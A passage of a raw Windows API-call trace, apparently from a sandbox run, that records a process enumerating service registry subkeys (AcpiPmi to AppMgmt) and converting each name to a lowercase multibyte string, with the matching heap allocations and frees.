RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.551] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.551] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.552] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.552] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.552] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.553] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.553] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.553] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.553] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0236.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.554] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.554] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.554] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0236.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.555] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.555] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.555] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0236.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.555] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.556] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.556] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.556] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0236.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.557] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.557] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 